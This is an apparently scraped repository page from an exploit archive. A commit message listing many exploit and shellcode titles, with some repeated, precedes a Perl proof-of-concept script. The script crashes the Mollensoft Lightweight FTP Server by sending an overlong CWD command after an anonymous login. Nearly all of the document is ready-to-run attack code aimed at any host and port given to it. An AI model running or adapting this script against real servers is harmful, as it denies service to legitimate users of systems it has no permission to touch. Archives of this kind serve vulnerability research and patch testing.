880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
82 lines
No EOL
2 KiB
Perl
Executable file
82 lines
No EOL
2 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/10409/info
|
|
|
|
A denial of service condition is reported to exist in the MollenSoft Lightweight FTP Server that may allow a remote user to deny service to legitimate FTP users. The vulnerability is due to a lack of sufficient boundary checks performed on CWD command arguments.
|
|
|
|
It should be noted that although this vulnerability is reported to affect Mollensoft Lightweight FTP Server version 3.6 other versions might also be affected.
|
|
|
|
#!/usr/bin/perl
|
|
#
|
|
# Mollensoft FTP Server CMD Buffer Overflow
|
|
#
|
|
# Orkut users? Come join the SecuriTeam community
|
|
# http://www.orkut.com/Community.aspx?cmm=44441
|
|
|
|
use strict;
|
|
use IO::Socket::INET;
|
|
|
|
usage() unless (@ARGV == 2);
|
|
|
|
my $host = shift(@ARGV);
|
|
my $port = shift(@ARGV);
|
|
|
|
# create the socket
|
|
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host,
|
|
PeerPort=>$port);
|
|
$socket or die "Cannot connect to host!\n";
|
|
|
|
$socket->autoflush(1);
|
|
|
|
# receive greeting
|
|
my $repcode = "220 ";
|
|
my $response = recv_reply($socket, $repcode);
|
|
print $response;
|
|
|
|
# send USER command
|
|
#my $username = "%00" x 2041;
|
|
my $username = "anonymous";
|
|
print "USER $username\r\n";
|
|
print $socket "USER $username\r\n";
|
|
|
|
select(undef, undef, undef, 0.002); # sleep of 2 milliseconds
|
|
|
|
# send PASS command
|
|
my $password = "a\@b.com";
|
|
print "PASS $password\r\n";
|
|
print $socket "PASS $password\r\n";
|
|
|
|
my $cmd = "CWD ";
|
|
$cmd .= "A" x 224; # Value can range from 224 to 1018
|
|
$cmd .= "\r\n";
|
|
print "length: ".length($cmd)."\n";
|
|
print $socket $cmd;
|
|
|
|
$repcode = "";
|
|
recv_reply($socket, $repcode);
|
|
|
|
close($socket);
|
|
exit(0);
|
|
|
|
sub usage
|
|
{
|
|
# print usage information
|
|
print "\nUsage: Mollensoft_FTP_Server_crash.pl <host> <port>\n
|
|
<host> - The host to connect to
|
|
<port> - The TCP port which WarFTP is listening on\n\n";
|
|
exit(1);
|
|
}
|
|
|
|
sub recv_reply
|
|
{
|
|
# retrieve any reply
|
|
my $socket = shift;
|
|
my $repcode = shift;
|
|
$socket or die "Can't receive on socket\n";
|
|
|
|
my $res="";
|
|
while(<$socket>)
|
|
{
|
|
$res .= $_;
|
|
if (/$repcode/) { last; }
|
|
}
|
|
return $res;
|
|
} |